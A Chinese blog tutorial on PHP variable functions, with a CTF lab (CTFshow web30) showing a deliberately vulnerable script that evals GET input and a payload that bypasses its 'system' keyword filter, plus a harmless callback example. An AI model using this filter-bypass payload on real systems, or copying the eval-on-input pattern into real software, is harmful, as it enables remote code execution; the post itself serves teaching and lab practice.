php基础学习之可变函数(web渗透测试关键字绕过rce和回调函数)

可变函数

看可变函数的知识点之前,蒟蒻博主建议你先去看看php的可变变量,会更加方便理解,在本篇博客中的第五块知识点->php基础学习之变量-CSDN博客

描述

当一个变量所保存的值刚好是一个函数的名字(由函数命名规则可知该值必须是字符串),那么就可以通过【变量名()】的形式实现该函数的调用

代码示例

<?php
function test(){
    echo "test函数被调用了";
}
$var = "test";//变量var中存放字符串test
$var();//通过可变函数语法去调用test函数, 等价于->test();

用途

web渗透中命令执行的关键字绕过

思路

可变函数可用作web渗透测试中绕过关键字实现rce,其思路是将被过滤的函数名作为字符串存放在其它变量中,然后从相应的数组中取出该值,绕过过滤实现函数的执行

测试脚本

下面给出一段靶场代码以供测试,在这段脚本中,我们的目的是绕过被过滤的system关键字,使用system函数执行dir命令(dir是用于windows系统查看文件目录的命令)

<?php
highlight_file(__FILE__);
echo "命令执行,用system函数列出当前目录,这是windows系统" . "<br>";
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (preg_match("/system/i", $cmd)) {
        echo "就你还想当黑客?";
    } else {
        echo $_GET['a']. " ". $cmd;//展示参数名
        eval($cmd);//执行命令
    }
}
payload

解释:在a变量中存放system函数名,然后从$_GET数组中取出该值,按可变函数的语法调用system函数

a=system&cmd=$_GET['a']("dir");

在实际靶场使用也是没问题的!(题目来源:【CTFshow-web30】)

回调函数

思路

参考->C语言回调函数详解(全网最全)-CSDN博客

回调函数是开发中很常用的一种编程技术,回调函数a会被作为参数传递给另一个函数b,并在这个函数b的执行过程中去调用回调函数(a)

在C语言中会使用指针来实现,C++/Java使用引用来实现

php则可以使用可变函数实现——将回调函数的函数名作为参数(字符串)传递给另一个函数后,这个函数就能利用可变函数的语法实现回调

测试脚本
<?php
function Add($x, $y){
    return $x + $y;
}
function Sub($x, $y){
    return $x - $y;
}
function Mul($x, $y){
    return $x * $y;
}
function Div($x, $y){
    return $x / $y;
}
//↑上面是4个简单的加减乘除四则运算函数的定义
function calculator($x, $y, $op_func){//该函数将实现四则运算
    echo $op_func($x, $y). "<br>";//op_func中存放着调用calculator函数时传来的运算函数的函数名, 利用可变函数语法实现回调
}
calculator(2, 3, "Add");//5
calculator(2, 3, "Sub");//-1
calculator(2, 3, "Mul");//6
calculator(2, 3, "Div");//0.66666666666667
示例

解释:在调用calculator函数时除了传入操作数外还传入一个运算函数的函数名,calculator函数会接收这三个参数,并利用可变函数的语法对传入的运算函数实现回调

相关推荐

  1. 66.函数指针函数

    2024-02-17 10:28:01       25 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-17 10:28:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-17 10:28:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-17 10:28:01       82 阅读
  4. Python语言-面向对象

    2024-02-17 10:28:01       91 阅读

热门阅读

  1. element ui 添加自定义方法

    2024-02-17 10:28:01       32 阅读
  2. 微信小程序如何配置服务器域名

    2024-02-17 10:28:01       40 阅读
  3. 基于STM32的激光测距系统设计

    2024-02-17 10:28:01       55 阅读
  4. cudnn免登录下载

    2024-02-17 10:28:01       55 阅读
  5. Python爬虫html网址实战笔记

    2024-02-17 10:28:01       42 阅读
  6. Redis如何找出大量以某一个前缀开头的key

    2024-02-17 10:28:01       44 阅读
  7. 数据转换成json格式

    2024-02-17 10:28:01       45 阅读
  8. c入门第十七篇——数据持久化,读写文件

    2024-02-17 10:28:01       47 阅读
  9. [ 2024春节 Flink打卡 ] -- 理论基础

    2024-02-17 10:28:01       32 阅读
  10. SparkUI任务启动参数介绍(148个参数)

    2024-02-17 10:28:01       40 阅读